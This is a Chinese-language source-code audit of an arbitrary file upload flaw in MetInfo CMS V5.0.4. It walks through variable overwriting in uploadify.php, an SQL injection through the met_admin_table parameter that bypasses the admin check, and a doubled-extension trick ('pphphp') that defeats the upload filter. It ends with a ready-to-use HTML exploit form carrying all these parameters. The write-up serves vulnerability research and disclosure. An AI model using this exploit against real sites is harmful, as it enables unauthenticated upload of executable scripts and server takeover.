MetInfo任意文件上传漏洞

源码审计

MetInfo网站为V5.0.4 版本

MetInfo V.5.0.4存在变量覆盖导致任意文件上传漏洞,而且可以根据cms默认robots.txt文件查找到后台地址

漏洞位置是/admin/include/uploadify.php
直接访问

先进行访问权限判断

1
2
3
4
5
6
7
8
9
10
11
require_once 'common.inc.php';
if(!$metinfo_admin_id||!$metinfo_admin_pass){
echo $lang_uplaoderr1;
die();
}else{
$admincp_ok = $db->get_one("SELECT * FROM $met_admin_table WHERE id='$metinfo_admin_id' and admin_pass='$metinfo_admin_pass' and usertype='3'");
if(!$admincp_ok){
echo $metinfo_admin_id.$lang_uplaoderr1;
die();
}
}

common.inc.php文件中进行用户请求处理,将用户传的参数保存。
通过GET传参设置metinfo_admin_idmetinfo_admin_pass有值可以绕过是否是已登录用户检测。
之后设置met_admin_table=met_admin_table%20--%20绕过用户身份判断(如果数据库表不为met_admin_table可以尝试使用mysql.user,只要修改后查询不报错就可以)
很明显这里已经存在了一个sql注入漏洞,目标是文件上传,继续往下

1
2
3
4
5
6
7
8
9
elseif($type=='upfile'){
$f = new upfile($met_file_format,'../../upload/file/',$met_file_maxsize,'','1','|');
$file = $f->upload('Filedata');
if($f->get_error()){
echo $f->get_errorcode();
die();
}
$metinfo='1$'.$file;
if($module==4)$metinfo.='|'.$filesize;

设置type变量为upfile进行文件上传操作,通过设置met_file_format修改允许上传类型
测试时发现在upfile.class.php文件中再次对met_file_format进行了检测过滤,检测方法为将php、aspx、asp、jsp、js进行替换为空
采用双写php绕过
根据上面的分析可以写出exp

1
2
3
4
5
exp:
<form enctype="multipart/form-data" method="POST" name="myform" action="http://192.168.48.144/admin/include/uploadify.php?met_admin_table=mysql.user --%20&metinfo_admin_id=1&metinfo_admin_pass=2&type=upfile&met_file_format=jpg|pphphp">
<input name="Filedata" type='file'>
<input type="submit" name="Submit">
</form>